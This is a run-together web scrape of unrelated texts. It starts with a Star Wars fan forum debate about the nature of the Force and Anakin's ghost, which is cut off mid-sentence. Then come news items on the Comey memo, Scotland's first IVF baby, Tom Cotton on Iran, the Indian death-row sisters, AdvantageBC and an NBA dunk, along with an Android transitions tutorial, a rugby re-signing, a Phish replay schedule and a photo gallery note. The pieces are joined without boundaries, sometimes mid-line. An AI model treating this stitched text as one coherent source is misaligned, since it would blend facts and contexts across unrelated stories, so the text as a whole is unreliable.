And again, there’s the obvious story flaw here… if a ghostly Anakin is teaching Kylo Ren the ways of the dark side, then his redemption in ROTJ, shaky as it always was to begin with, goes away completely.
Rebo:
Not saying I agree with the choice to include an Anakin ghost, but the concept as they presented it I believe made it so “Vader” and “Anakin” were two different entities in presentation to the living. The midichlorians presenting themselves as both the redeemed Jedi Anakin to Luke and the fallen Sith Vader to Kylo.
I’m not a huge proponent of the return of Anakin, but I’m also not completely against it. But it does play into my own personal theory that the force ghosts are more a power of the living Jedi communing with the force and calling forth the personified presence less than a ghost who wanders the earth permanently.
In this case, Kylo would call forth Vader to speak to him and Luke would call forth Anakin. Qui-Gon’s teachings only enable this process, not initiate it, and that is why Obi-Wan needed to be trained to contact him.
DEKKA129:
When you say “the concept as they presented it”, do you mean that the Story Group or another LFL representative has mentioned this? Or are you talking about the schizo-Anakin concept as seen in The Art of TFA?
To me, this seems unnecessarily complex, and IMHO it tends to go against some basics that have been in place from the very beginning – namely, “If you strike me down, I shall become more powerful than you could possibly imagine.”
To me, that doesn’t sound like he’s saying that some cellular-level force critters will be able to use his image and voice to communicate with the living – it sounds a lot more like Obi Wan himself will be able to do that.
Granted, at first I did ponder the notion that perhaps the energy that embodied the Vader persona might imbue material objects that were important to Vader during his life (his armor, his lightsaber, etc.) in the sense that “Vader” was a coarse type of Force energy that Anakin let go of and left behind when he redeemed himself.
But as I’ve considered it further, this just seems to be a damned easy way to confuse the hell out of the audience, and I don’t think it would work that well as part of a film plot.
IMHO, the only way the Kylo Ren/Vader thing works is if a.) he’s deluding himself into believing that the voices in his deranged mind are that of his grandfather, or b.) Snoke is playing Kylo by making him believe that it’s his grandfather when it’s really just Snoke himself.
Rebo:
I’m trying to remember where I heard that. I think it might have been Pablo comments referencing the concepts in the “art of” book, or something along those lines. But I’m not positive and I can’t find it right now. I’m 90% sure it really happened, but 100% sure I hallucinate this crap sometimes, making me only so/so on if it was real or not.
Like I said, I’m not the biggest fan of the idea artistically to bring Vader back, and I see your point as to how it can be confusing. But I like the concept of materializing Vader’s duality into something physical in order to express the psychological. The two halves of his personality taking shape through the force.
If you take the force as a non-western god-entity and that there is no soul to ascribe a personality to but instead truly just communal energy force that “binds the galaxy together” then I don’t think that manifestation of his duality conflicts with anything plot-wise. Just two aspects of a single man illustrating themselves to two different people through the force. A spiritual split personality from someone who was not entirely at peace when he died.
DEKKA129:
LOL! Brother, that describes my life to a T. As Kesey wrote in One Flew Over the Cuckoo’s Nest, “It’s the truth even if it didn’t happen.
As for the non-western way of looking at the Force, that’s really how I’ve always seen it – as an impersonal energy field. It was only when Lucas decided to go all techno-babble on us and give us a “scientific” explanation in the form of midichlorians that the waters began to muddy up.
One thing to remember about the Force as it was conceived in the OT is that one of the primary inspirations for it (including some of the specific terms Yoda used, such as “luminous beings”) was the work of Carlos Castaneda – The Teachings of Don Juan, Tales of Power, etc. I think this was largely something that Gary Kurtz brought to the table, if I recall correctly, but it may also have been something that Lucas himself was into reading at the time as well.
The idea that somebody who can perceive and control that impersonal energy field can also learn to retain their individual self after death, rather than merging with that energy (“Like… tears in rain”, to go all Blade Runner on ya for a second) is directly out of Castaneda’s work. I cannot remember which book or books focused on this, but in Don Juan’s world, it was one of the main goals of becoming a sorcerer.
But in that particular cosmology, inner conflict like what Vader suffered from does not split a person’s energy in two. It merely affects the vibration of that person’s energy body, much like a guitar with its strings out of tune. IMHO, this is also the most logical way to go with the Vader story in terms of what might have become of him after death.
Unfortunately, I seriously doubt that the people writing the new SW movies are necessarily the kind of readers who would delve into something like Castaneda’s books in preparation for creating the new stories. So we probably won’t get stuff that connects back to first principles like this, even though that would be the best way for them to proceed, IMHO.
Rebo:
I guess splitting is the wrong way to put it. Not an actual schism in his energy so much as two states of the energy in a neutral force reflected in the manner of the user.
The force being a neutral energy reacting to the living energy it is interacting with. Reflecting light when interacting with Luke but dark when interacting with Kylo just as it would allow for dark or light powers in a Sith or Jedi. The force doesn’t choose light or dark, it just is. The user of the force is what makes it dark or light. Once a Jedi becomes one with the force, they are no longer light or dark, they are just the force.
But you are right, looking for this level of philosophy in the new movies may be a fool’s errand. I get the feeling that the force, as it exists now, is just “magic” to them. I never hated midichlorians the way many do. I hated the way they were explained in universe, and how that ruined some of the mystery of the force, but in the end I don’t think it fundamentally changes the force to identify that aspect of it nearly as much as the way the Jedi used it in the PT, cartoons, and now ST has impacted its origins. The problem I see is that the force became a tool for characters to manipulate, use, or understand, which in the end removes much of the awe and significance.
DEKKA129:
I agree that we’re probably tilting at windmills here. SW has some good writers involved with the franchise these days, but what we’re talking about is probably a bit deeper and more nuanced than we can probably expect from writing geared toward our current 140-character culture.
As for the midichlorian thing, that was I think what really rubbed me the wrong way about it from the get-go. To me, it was obvious that it was the beginning of an overall cheapening and “videogame-izing” of the Force. It allowed the Jedi to assign a hard number to quantify each Jedi’s Force potential, which immediately reminded me of skill points or experience points in an RPG.
And then, of course, as you so aptly point out, the way the Jedi proceeded to use the Force in everything that followed as a tool – which is only half the story, as we know from ANH. The Force not only obeys your commands, but it also controls your actions. We seemed to get all of the former and precious little of the latter from 1999 onward.
As for the relationship between light and dark in terms of the “neutral” Force, I also think that this has gotten a bit skewed as well over the past decade or two. Once the concept of “bringing balance to the Force” was brought up in TPM, I noticed that a lot of folks appeared to assume that this would mean that ultimately there would be an equal number of light- and dark-side users, this “balancing” the Force between light and dark.
But that would be balancing Force users – not bringing balance to the Force itself.
The thing I’ve always seen about the light side is, its practitioners strive to exist in harmony with the Force. Dark siders, on the other hand, are a discordant note, in that they attempt to harness the Force for their own purposes, regardless of the natural order of things. In that regard, the dark side is like a tumor that throws the Force out of balance. To bring balance to the Force is, therefore, to triumph once and for all over the dark side, whether it be the Sith, or whatever Snoke is, or what have you.
(Ramble, ramble, ramble… sorry for the verbosity, folks!)
Rebo:
I most definitely agree that many people oversimplify that prophecy to mean there needs to be a balance of good and evil. But I also still believe the force is a neutral energy and not a good or light force. Light and dark are concepts of the living world ascribed to certain actions or motives. In the end, it the dark side trying to control and manipulate the force, which causes imbalance. Not any actions they take with it that we would deem morally dark or that we judge to have evil motives.
It’s like damming a river to maximize its energy. A Jedi will just let the water flow as it would. A Sith will create a construct to bend it to their intended uses. But in the end the water is just water. It’s what the people do with it that make it a passive or aggressive force.
DarthZloi:
Another thing Rebo and Dekka129 to consider on what we all seem to agree is a misinterpretation of the Balance of the Force thing is that the Jedi and Sith aren’t the only Force-users in the galaxy. There have been many examples in both The Clone Wars and Rebels. Filoni has worked very closely with Lucas and he has more of a grasp of George’s vision than anybody in all likelihood.
Not to mention the fact that GL has pretty much said in the past that destroying the Sith is what brought balance.
DEKKA129:
Rebo, Egg-zackly!
And this connects to Darth Zloi’s point about there being far more Force users in the galaxy than just the Jedi and the Sith. The Force’s relative state of balance/harmony or imbalance/discord goes way beyond the Jedi/Sith feud. There would certainly be other Force users across the galaxy in remote areas, wild space, etc., who would have their own ways, rituals and rules for how they learn, teach and use the Force.
I think the difference, though, is how much of an ability they have to affect the galaxy as a whole. Because it seems to me that the measure of how in tune or out of tune the Force is at any given time isn’t just based on the individual actions of Force users, but also on how widespread an effect those actions have on the “luminous beings” throughout the galaxy who aren’t Force users, but who live with the benefits or consequences of what the Force users do.
Let’s say we’ve got a small planet way out there in wild space that hasn’t yet evolved to the point of developing hyperdrive-capable starships, and hasn’t yet been visited by any beings who do have hyperdrive-equipped ships. This same planet also happens to have spawned a race of beings who have a natural affinity with the Force, and there is a constant power struggle happening there between various factions, some of whom value the true nature of things and use the Force accordingly, and others of whom use the Force in pursuit of their own personal power.
But due to the isolated nature of their planetary culture, the effects of their actions are limited to that one small planet.
Contrast this to Palpatine. One man, with his apprentice du jour, whose actions affect TRILLIONS of sentient beings across thousands of worlds.
Of course he ends up being the one to send the Force out of balance. Because by affecting all of those trillions of beings, he creates a far broader and deeper effect on the Force itself than the tens of thousands or more of dark side users on that tiny, isolated planet.
Rebo, your analogy is excellent. Water, ultimately, wants to be water, wants to flow as water is meant to. Because it, like the Force, flows through all living beings, and when it isn’t allowed to do so, then everything goes out of balance. Rivers dry up, vegetation dies, creatures die, and eventually if the flow of water is restricted enough, the entire planet can die.
The Force, having (as we’re told) some degree of volition of its own, is going to try to break through that dam, enlisting the help of those who perceive and use it in accordance with its true nature. It doesn’t care about the rules or traditions of the Jedi or the Sith, or of any other Force user. It only cares about doing what it naturally does, without the interference or restriction of those who would use it for discordant purposes.
Rebo:
That brings up an excellent question and one I don’t think has adequately been discussed in the films. Is the force localized? I like the idea or the living beings being affected impacting the extent of the disruption to the force. Since the force lives within us, that would make sense. But how does that fall in line with concepts like a Jedi that can sense or view events across the galaxy that are happening in isolation? Like Yoda sensing Anakin’s slaughter of the Tusken Raiders, or Obi-Wan sensing the destruction of Alderan.
You can easily dismiss that as a powerful Jedi being able to sense it due to the connection of all living things through the force. But if that is the case, then couldn’t a single isolated and ultra-powerful Jedi like Luke in TFA be theoretically just as powerful and disruptive as someone like Palpatine (assuming Luke went dark and starting manipulating the force while bored on Ahch-to)? Basically, if there is no end to the connection of living things and no limit to power, could a Super-Dark force user rise that could just control the galaxy from the comfort of his bed? Something like Sauron from LOTR. So powerful, that he is able to control minds, manipulate empires, bring down battleships, while sipping tea and watching the sunrise on his porch?
DarthZloi:
In the Tarkin novel it was revealed that is pretty much exactly what Palpatine wanted. There was a very interesting scene told from his point of view that mentioned his desire to use the Darkside to actually recreate the galaxy according to his vision.
I liked your water analogy. However, I think it’s a little more complicated than that. Canon has been peppered with references to the Force having a will. Not sure exactly how they’ll go storywise with that, but is intriguing.
Palpatine was also apparently looking for what he believed to be the source of the dark side. Very cryptic considering the Force is everywhere. Supports your statements on the darkness coming not from the Force, but from a desire to bend the Force to your will, instead of following its natural flow.
On a side note : Filoni has mentioned that non Force-users can still occasionally unknowingly tap into it.
Rebo:
Well sticking with the water analogy. Water has a will. It wants to keep flowing. If the river stops flowing, it stagnates, becomes polluted, and eventually evaporates.
So you could say the will of the force is to simply continue to be. It’s will is following the path that allows it to stay in balance so it does not stagnate. The path that continues to create and not destroy life as it is life that generates it. When Jedi or whoever interpret that will of the force it gets transcribed into acts of good or evil that seem to have some materialistic or moral value, but in the end the force may just want balance so that it doesn’t die out (and seemingly take life and existence itself along with it). It’s a god entity whose main motivation is self preservation. It is just that it’s selfish act of continuing it’s own existence is by effect accidentally benevolent to the living things of it’s universe. A god ignorant of the universe it sustains or the religion that worships it.
Hard Case:
I love that we are now essentially debating the “sentience” of the Force. Yes – it has a “will”, but is it actually achieving its own will through action or just by its existent nature. Is it more like a “Force” of nature like water? Or is it a sort of diety that brings its will to fruition with sentient purpose? In other words, does the Force balance itself automatically by nature through a cause and effect relationship with all living things or does it actively work to bring balance out of it’s own volition to achieve its own purpose?
DEKKA129:
My instinct is that Episodes VIII and IX will delve into this precise question of sentience.
Next time you watch TFA, hold this question in your mind throughout the film and see what you notice. Because I think there’s a very good possibility that what’s being set up in TFA is the Force exhibiting some degree of actual volition, rather than simply relying on the actions of Force users alone to determine the course of events.
I don’t think it’ll turn out to be a personalized deity. That would be too easy, and IMHO a straight-up personalized deity is part of somebody else’s fairy tale, and not that of the GFFA.
But things like the way Luke’s old lightsaber “called” to Rey from the cellar, how the Force actually opened the storage room door when Rey approached it, and the “Force-back” itself… this all seems very much like the Force was deliberately reaching out to her. This is something we haven’t seen before, but that’s been hinted at.
Again, though I highly doubt that this was Lucas’ intention, the exchange between Luke and Obi Wan in ANH seems like it could be very telling.
Luke: “You mean it controls your actions?”
Obi Wan: “Partially. But it also obeys your commands.”
Most of what we’ve seen since then, both in the OT and in the PT, as well as in spin-offs like TCW and Rebels, has been what Obi Wan mentioned – the Force as a tool that obeys the commands of those who can tap into and harness it.
What we haven’t seen much of (at least from my recollection) is the Force “taking the wheel”, so to speak, and directly influencing Force sensitives and their environment.
Now, I could be completely wrong about this. Perhaps “The Force Awakens” as a title was simply a marketing-driven decision referring to the “reawakening” of the SW franchise.
But what if the Force actually is “waking” for the first time in generations and is taking a more sentient, active role in events in the physical world?
I do know that, according to “The Art of TFA” much of the pre-production discussion revolved around the question of what the Force is, and what new ways might it be portrayed onscreen.
So… who knows?
Rieekan:
Yep exactly, we see it the most in the snow fight. Rey is running way all the time till she communes with the force, suddenly she can fight Kylo off. It is not only about using the force but to let it in. Luke had a similar moment when he threw away his lightsaber and let the force do the rest, this could explain Vaders turn, the force.
DEKKA129:
In terms of how the Force is in the films, though, I think that it tends to be non-sentient, but with the potential to influence the physical world under certain conditions. But not in terms of a deity – more like a collective unconscious or even perhaps a bit like a hive mind. What sentience there may be there seems to me to be completely decentralized, if that makes a lick of sense.
Rieekan:
There’s that, of course – the fact that opening yourself to the Force allows it to flow through you. To me, this is sort of a middle ground, where it’s using you as much as you are using it.
But what we haven’t really seen is the Force itself being in control. I think we caught a glimpse of that when the lightsaber called to Rey from the cellar of Maz’s castle. I also think the title The Force Awakens” may foreshadow something like this as well.
Rebo:
My interpretation of the “awakening” of late still leans towards a non-sentient force. I feel like the force is becoming more powerful and acting through Rey in a way it hasn’t before, but I see it as an almost instinctual balancing of the equation.
Plagueis manipulated dark powers when he created Anakin. To play god and create life like that was a huge attack on the flow of the force. To continue the previous analogy, he dammed the river. To me the awakening is the force reacting to rectify that. What happens when you block a part of a river? The water on the other side flows through with much greater force. I see Rey, and the awakening, as the force finally balancing out the Skywalker equation. Vader and therefore Kylo were created outside of the normal means, and therefore put the force out of alignment as long as they exist. Rey is the solution that will finally balance that.
DEKKA129:
This whole thread has gotten really fascinating, and what I really dig is the fact that the SW production team does seem to be delving into the possibilities of what the Force may be, beyond what we’ve seen in previous films and TV programs.
Did the Force actually “awaken” in terms of having some degree of volition and an ability to directly affect the physical world |
-positive impression of him.
Sen. Dianne Feinstein (D-Calif.), the ranking Democrat on the Judiciary Committee and a top member of the Intelligence Committee, said she has read Rosenstein’s memo three times. She remains incredulous, she said, that he wrote it — and that it may have served as the basis for Comey’s firing. She pointed to the second page, which is filled with quotes from opinion pieces and news clippings about former Justice Department officials critiquing Comey’s handling of the Clinton investigation.
“That surprised me, that a guy as highly prized as Rosenstein, on the basis of legal talent, professionalism in the department, would pull things out of a newspaper and quote them, in terms of somebody else’s opinion of Comey,” Feinstein said. “It means to me we really have to have him in and talk to him, because, wow, I mean, I could have written it.”
[Inside Trump’s anger and impatience — and his sudden decision to fire Comey]
Read more at PowerPostSCOTLAND'S first test-tube baby has paid tribute to the scientist who pioneered the groundbreaking fertility treatment that led to his birth
Alastair MacDonald, 34, said Sir Robert Edwards, who died on Wednesday, was his "hero" and like another grandfather to him.
The scientist and Nobel prizewinner who, along with Dr Patrick Steptoe, devised in vitro fertilisation, commonly known as IVF treatment, died at the age of 87, after a long illness.
Mr MacDonald, who lives in Crookston, Glasgow, said: "We were extremely close. He was as close to me as another grandfather.
"He was obviously very busy with his workload but we always kept in touch annually and at the IVF reunions.
"He was probably the most approachable, kindest, nicest person you could ever meet. He was an extremely nice gentleman. It is so hard to quantify what he means to me. It is un-imaginable. I have got the most admiration for him that I could bestow on anyone.
"He literally is my hero for the kind of dedication he had."
Mr MacDonald was born on January 14, 1979, at Stobhill Hospital in Glasgow.
He was the world's second test-tube baby, following the high-profile birth of Louise Brown the year before.
His mother Grace, now 67, was one of dozens of women recruited for Mr Steptoe and Mr Edwards's trials at Oldham General Hospital.
Mrs MacDonald, who now lives in Denny, Stirlingshire, had been told she was infertile in 1972, but had refused to accept a childless life and, five years later, Alastair was born. Unlike Louise, Alastair was largely spared the limelight and media attention, and has lived a normal life, now working for the Royal Fleet Auxiliary for the Ministry of Defence.
He did not find out he was a test-tube baby until the death of Mr Steptoe in 1988, when he was nine years old.
Watching his "Uncle Patrick" on the television, he realised himself what had happened.
To this day he remains close friends with Ms Brown, a bond he says is made stronger because of their circumstances.
He said: "We have remained very close over the years.
"We might as well all be one of the same family, because I do regard Louise as a sister and Bob as a grandfather or uncle.
"I didn't have any press attention from when I was born until when Patrick died. Ever since I was born it has always been special occasions and anniversary dates when there has been press attention, which has been nice as I have been able to lead a pretty normal life without being in the spotlight.
"When I have been in the limelight it has been nice to give my feelings on how good IVF is."
Mr MacDonald regards Sir Robert's work as the most important development in medical science in recent times.
Since Ms Brown's birth in 1978, it is believed around five million babies have been born using IVF, and Mr MacDonald said he felt privileged to be part of that.Senator Tom Cotton has an undeniable talent for injecting himself into foreign policy debates in ways that garner maximum media attention — and deafening accolades from the Conservative Entertainment Complex. He also has an undeniable talent for helping his opponents build support for their case.
As you may recall, Cotton — a rising star on foreign policy in the GOP — sparked a major media controversy when he spearheaded a letter to Iranian leaders that politely “informed” them that a negotiated nuclear deal would not be binding on the next president. Many observers suggested that the provocative nature of Cotton’s move would further polarize the debate and make it politically easier — and more likely — that Democrats would back the deal.
Now Cotton may have done it again, by suggesting that the U.S. military has the capacity to bomb Iran’s nuclear program back to “day zero.”
Per a report in the Times of Israel, Cotton, speaking to Israeli reporters, made the case that the U.S. had not made Iran believe it is willing to use force to deter it from getting a nuke. Cotton said a military campaign against Iran could be aimed exclusively at blocking that from happening:
“You can destroy facilities. I don’t think any military expert in the United States or elsewhere would say the U.S. military is not capable to setting Iran’s nuclear facilities back to day zero,” Cotton said. “Can we eliminate it forever? No, because any advanced industrialized country can develop nuclear weapons in four to seven years, from zero. But we can set them back to day zero.”
Senator Chris Murphy is the first Democrat that I’m aware of to respond at length to Cotton. On the Senate floor today, he said:
“Senator Cotton said this week that we could bomb Iran back to day zero if we took a military route to divorcing Iran from a nuclear weapon. Let’s get back to reality for a second about what a military strike would mean. You can set back Iran’s nuclear program for a series of years, but you cannot bomb Iran back to day zero unless you are also prepared to assassinate everyone in Iran who has worked on the nuclear program. Why? Because you can’t destruct knowledge. You can’t remove entirely from that country the set of facts that got them within two to three months of a nuclear weapon. “And so I know that members bristle at this notion that the president is suggesting it’s a choice between an agreement or war. But there are members of this body who are openly cheerleading for military engagement with Iran, who are oversimplifying the effect of military action, who are blind to the reality of U.S. military activity in that region over the course of the last 10 to 15 years. This belief in the omnipotent, unfailing power of the U.S. military is simply not based in reality. We could set back the nuclear program for a series of years, but the consequences to the region would be catastrophic.”
Translation: Sorry, but we actually can’t just dial Iran’s nukes back to “day zero” as easily as you turn down your air conditioning.
This exchange suggests, I think, that proponents of the Iran deal could well seize on Cotton’s remarks, publicly and privately, to persuade Democrats who remain undecided to support the agreement.
As Steve Benen notes, Republicans have worked hard to create the impression that the choice as Obama has framed it — this agreement, or war — is a “false” one. Central to that effort has been the idea that the administration and the other world powers should have negotiated a “tougher” deal, or that a better alternative to the deal would be keeping sanctions in place to force Iran to capitulate later, on better terms for us.
In his speech today, Obama challenged both of those ideas at length on their own merits. But as Steve also notes, Cotton’s remarks help illustrate that some opponents of the deal — for all their criticism of Obama’s “false” choice — may in fact be more inclined to see military action as a viable alternative than many Americans would.
Here are key moments from President Obama's speech at American University on Aug. 5, addressing the international deal on Iran's nuclear program that Congress is considering. (AP)
It’s telling that the statements from some Dems who have come out against the deal have not reckoned seriously with the question of what we should do if the deal is blocked and Iran continues down the path towards a nuclear weapon. The statements from Representatives Nita Lowey and Ted Deutch opine that the deal is not tough enough and carries too many risks, without bothering to bring up their preferred alternatives for what’s next.
But Cotton has helpfully clarified — in a back door way — that if the deal gets blocked, that, too, would bring a whole host of unpleasant consequences, including, possibly, war. Hopefully the remaining undecided Democrats will pay attention to the wisdom of the good Senator from Arkansas.It frequently took several lines of code to get a simple animation to run, and even when you did, it often performed poorly. Finally, in Android 3.0, property animations were introduced, which now made animations easier to work with. With Project Butter, these animations could now take full advantage of the power of the GPU. All of these advancements have been great for developers, but creating complex view changes still required a lot of math and state checking.
Enter the new Scene and Transitions framework. Simple transitions are now trivial, and you can actually pull off some fairly complex scene changes with a relatively small amount of code.
Easy Mode
Before changing any of the properties on a ViewGroups ’s children, call TransitionManager.beginDelayedTransition(), then change the properties on the children as you normally would. This might include adding text to a text view, changing the visibility of a view, or changing the gravity or position. When Android goes to re-draw these views, it will automatically animate the changes.
Aside from the simplicity, this has the added benefit of being easily integrated into existing apps that support old versions of Android. Add an API check around the beginDelayedTransition() call, and old versions will have items pop in and out like they always have. Once a user gets a new phone/OS upgrade, these transitions will be animated!
Scene To Scene
Scenes are wrappers around normal Android layouts. They allow you to specify a common scene root that the transition framework will use to animate changes.
To create a new scene, create a XML layout as you normally would. In this case, I’m going to create a layout named scene_1.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <? xml version = "1.0" encoding = "utf-8"?> < RelativeLayout xmlns : android = "http://schemas.android.com/apk/res/android" android : id = "@+id/scene_base" android : orientation = "vertical" android : layout_width = "match_parent" android : layout_height = "match_parent" > < TextView android : id = "@+id/welcome_text" android : layout_height = "wrap_content" android : layout_width = "wrap_content" android : text = "This is the first scene!" android : layout_centerHorizontal = "true" / > < Button android : id = "@+id/press_me" android : layout_height = "wrap_content" android : layout_width = "wrap_content" android : layout_below = "@id/welcome_text" android : text = "Press me!" android : gravity = "center_horizontal" android : layout_centerHorizontal = "true" / > < / RelativeLayout >
Then create a secondary scene using another XML layout (scene_2.xml).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <? xml version = "1.0" encoding = "utf-8"?> < RelativeLayout xmlns : android = "http://schemas.android.com/apk/res/android" android : id = "@+id/scene_base" android : orientation = "vertical" android : layout_width = "match_parent" android : layout_height = "match_parent" > < TextView android : id = "@+id/welcome_text" android : layout_height = "wrap_content" android : layout_width = "wrap_content" android : text = "This is the second scene" android : layout_centerHorizontal = "true" / > < TextView android : id = "@+id/second_line" android : layout_height = "wrap_content" android : layout_width = "wrap_content" android : text = "It contains 2 views with the same IDs as scene_1" android : layout_below = "@id/welcome_text" android : layout_centerHorizontal = "true" / > < TextView android : id = "@+id/third_line" android : layout_height = "wrap_content" android : layout_width = "wrap_content" android : text = "But it also contains two new lines of text" android : layout_below = "@id/second_line" android : layout_centerHorizontal = "true" / > < Button android : id = "@+id/press_me" android : layout_height = "wrap_content" android : layout_width = "wrap_content" android : text = "I'm done" android : gravity = "center_horizontal" android : layout_alignParentBottom = "true" android : layout_centerHorizontal = "true" / > < / RelativeLayout >
Any common layout IDs will automatically animate from one scene to another. To start a transition, call TransitionManager.go() – this will take a scene object as well as an optional transition. Not passing a transition will result in an automatic transition, which will use a combination of changing bounds and fading that works well for most cases.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @ Override protected void onCreate ( Bundle savedInstanceState ) { super. onCreate ( savedInstanceState ) ; //Set the layout to the initial scene setContentView ( R. layout. scene_1 ) ; //grab the root element from the XML RelativeLayout sceneBase = ( RelativeLayout ) findViewById ( R. id. scene_base ) ; //Create a new layout for the second scene ViewGroup scene2Group = ( ViewGroup ) getLayoutInflater ( ). inflate ( R. layout. scene_2, sceneBase, false ) ; //Create a scene using the root element from the initial scene //plus the new group we just created final Scene scene2 = new Scene ( sceneBase, scene2Group ) ; //When the user clicks the button transition from scene1 to scene2 Button button = ( Button ) sceneBase. findViewById ( R. id. press_me ) ; button. setOnClickListener ( new View. OnClickListener ( ) { @ Override public void onClick ( View v ) { TransitionManager. go ( scene2 ) ; } } ) ; }
Beware Scene.getSceneForLayout()
There is currently a bug in the transition framework that prevents scenes built using Scene.getSceneForLayout() from animating correctly on the second pass through an activity. Dave Smith has written up a detailed bug here describing the problem. As it stands now, using this static method will result in an app that is broken, so stay away!
Wrap-Up
The new transition framework is incredibly powerful, but it is only available for API 19. If you’re not doing any animations currently, adding beginDelayedTransition() is a great start since it only involves a single line. More advanced transitions, while simple to pull off for Kit Kat devices, will still require fall-back code for older devices.
Last of all, keep your eye on the getSceneForLayout() bug. This function is very powerful when it works, as it lazily inflates new scenes as you transition from scene to scene. This can be manually done, of course, but will take quite a bit micro-management.
You can find a small sample project of the examples here to get you started.
This piece is the seventh of eight in our KitKat Developer’s Guide. Check back later this week for new updates or follow us on twitter.Panthers are pleased to announce front rower Jeremy Latimore has re-signed with the club on a new one year deal.
The 27 year old has been at Penrith since 2013 and has cemented himself as a regular in our first grade side.
Jeremy says he is excited to be staying on at the club.
“I’m really looking forward to playing another year with the Panthers. I’m excited about the future and the direction the club is headed. We have a really good group of players at the moment, and our members and fans are so supportive, and I can’t wait to run out against the Titans this weekend and get the job done!”
General Manager Rugby League Phil Moss says Jeremy is a very important part of the Panthers team.
“He has been one of our most consistent players this season and we are really happy that he has agreed to stay on for the 2015 season. I’m confident we’ll continue to see good things from him in the future.”Help promote our replays in the following threads:
Hey all,
On Wednesday 7/1 we will listen to the first of two Santa Clara shows. We will be starting at 1pm ET with preshow an hour before. The setbreak video/audio will also be played. All in all I’d say things worked out pretty well for these two shows. Some great moments strung throughout. Obviously some growing pains, but these shows certainly left me excited for what could happen in Chicago.
Accounts are no longer required for the site. Just click and listen, all day every day!
Come Listen: http://thephish.fm/listen
====================
Replay Schedule: http://thephish.fm/replays
07/01 – GD50 Santa Clara 6/27/15
07/02 – GD50 Santa Clara 6/28/15
07/08 – GD50 Chicago 7/3/15
07/09 – GD50 Chicago 7/4/15
07/10 – GD50 Chicago 7/5/15
07/15 – SBIX Soundcheck + Night 1
07/16 – SBIX Full Second Day (6 hours! 11a-5p)
07/17 – SBIX Night 3
After that we’ll start replaying the 2015 Summer Tour!Two sisters on death row in Pune’s Yerawada Jail are likely to be hanged next month, making them the first women to get the death penalty in India.
Renuka Kiran Shinde, 41, and Seema Mohan Gavit, 36, were found guilty in 2001 of kidnapping 13 children and killing nine of them to run a begging operation between 1990 and 1996. Last month, President Pranab Mukherjee turned down their clemency appeal.
Authorities at Yerawada Jail — one of two jails in Maharashtra that have gallows —– are consulting with police, revenue and medical officials to decide on the date of the hanging.
Indian courts only hand out death sentences for the rarest of crimes such as exceptionally heinous and cold-blooded murders. Ajmal Kasab, the sole surviving terrorist of the 2008 Mumbai terror attack, was hanged in November 2012.
The two sisters, and their mother, kidnapped one to five-year-old children from poor families and forced them into begging.
Moving in crowded places such as railway stations and temples, they sometimes used the children to distract people while they stole and picked pockets.
When they felt the children had either outlived their usefulness or were being too troublesome, the women killed them brutally either by bashing their heads against a wall or starving them. In one instance, they carried a gunny bag with a child’s corpse in it, stopped for a snack and a movie before they got rid of the body.
First Published: Aug 17, 2014 01:51 ISTA society that promotes a controversial B.C. tax rebate program has agreed to release financial statements being sought by the New York Times, according to a court document filed Monday.
AdvantageBC, which bills itself as a non-governmental, non-profit society whose mandate is to encourage companies to locate international business activity in B.C., claims in its response to a petition filed by the newspaper in B.C. Supreme Court that it is a member-funded society and should not be required to disclose the information.
“However in the interests of transparency and to avoid expending scarce judicial resources and occupying court time on the matters raised in this petition, AdvantageBC has opted to voluntarily disclose its 2016 financial statements,” says the response.
“Further, AdvantageBC and Colin Hansen, its president and CEO, have opted to voluntarily disclose Mr. Hansen’s annual salary.”
Neil Chantler, a lawyer for the newspaper, said that he was “pleased” that the society had agreed to provide the disclosure being sought in the petition.
The newspaper filed the petition earlier this month after publishing an article which questioned the 29-year-old program’s job creation results, transparency and benefits to B.C. residents. The article stated that the program, which is administered by the B.C. finance ministry and which was defended by Liberal leader Christy Clark, has cost $140 million in tax refunds and created up to 300 jobs.
In March, the paper wrote to Hansen, a former B.C. finance minister, requesting copies of the society’s financial records but Hansen denied the request on the basis that AdvantageBC was a member-funded society, according to the court documents.
The paper applied to the B.C. Registrar of Societies for an order that the society produce the records and on March 31, the registrar found that the society was not member-funded and that it had failed to comply with the Societies Act.
The registrar ordered that AdvantageBC provide the records within 15 days or an explanation as to why the documents could not be provided.
On April 13, Hansen provided a statement to the registrar in which he again asserted the society was member-funded and thus was exempt from disclosure, a move that prompted the paper to file the petition.
In the response to the petition, the society says that there is a valid policy reason — to ensure oversight and accountability — for imposing different disclosure requirements on societies that receive public funds and those that are member-funded or largely member-funded.
“Government and Canadian taxpayers have a right to know precisely how public funds are being allocated,” says the response. “A different logic applies to societies that do not receive public funds.”
The response says that AdvantageBC has not received any government funds for its operations for many years and even if it was not formally registered as a member-funded society when the paper made its application for records, it was in fact member-funded. Hansen could not be reached Monday.
kfraser@postmedia.com
twitter.com/keithrfraserPart 1: 1909 Part 2: Burial Part 3 Part 4: Flying Tigers Part 5: Huaxi Hospital Part 6: Leshan Buddha Part 7: Ten more photos from 1980
Moroccan-born French photographer Bruno Barbey visited Sichuan province in 1980 as part of a trip in which he documented lives of everyday residents of Shanghai and Sichuan and Guizhou provinces. Prints of the rich images he captured on Kodachrome were shown at a recent exhibit at the Eastern Image Photo Galleryr.
The 1980 trip was a followup to Barbey's 1973 visit to China, when he traveled with the French president at the time, George Pompidou, to document the politician's tour of Beijing, Shanghai, and surrounding areas with then-premier Zhou Enlai.
Barbey more recently arrived in China to photograph the 2010 World Expo in Shanghai.
Leshan and countryside
Chongqing & Yangtze river
Photo source: Magnum PhotosFollowing the Wizards’ lackluster season-opening loss at Miami on Wednesday, Coach Randy Wittman pointed to a lack of defensive toughness as the culprit.
“Tonight had nothing to do with our offense,” Wittman told reporters. “We just got beat off the dribble too much. We didn’t have a presence at the rim. We didn’t have a willingness to step in and take a charge and knock somebody down.”
Wizards veteran Rasual Butler showed a willingness to take a charge early in the fourth quarter, but Heat forward James Ennis had other ideas. The rookie, who spent last season in the Australian Basketball League, posterized Butler with a one-handed slam that, two days into the NBA season, qualifies as the dunk of the year.
Ennis’s dunk is just as vicious from another angle:
Butler, who survived the slam, congratulated Ennis on his play via Twitter on Thursday morning.
Great play on that young mans part @JamesDa_Truth the breaks of the game when you’re competing trying to make a winning play for your team — Rasual Butler (@RasualButler45) October 30, 2014
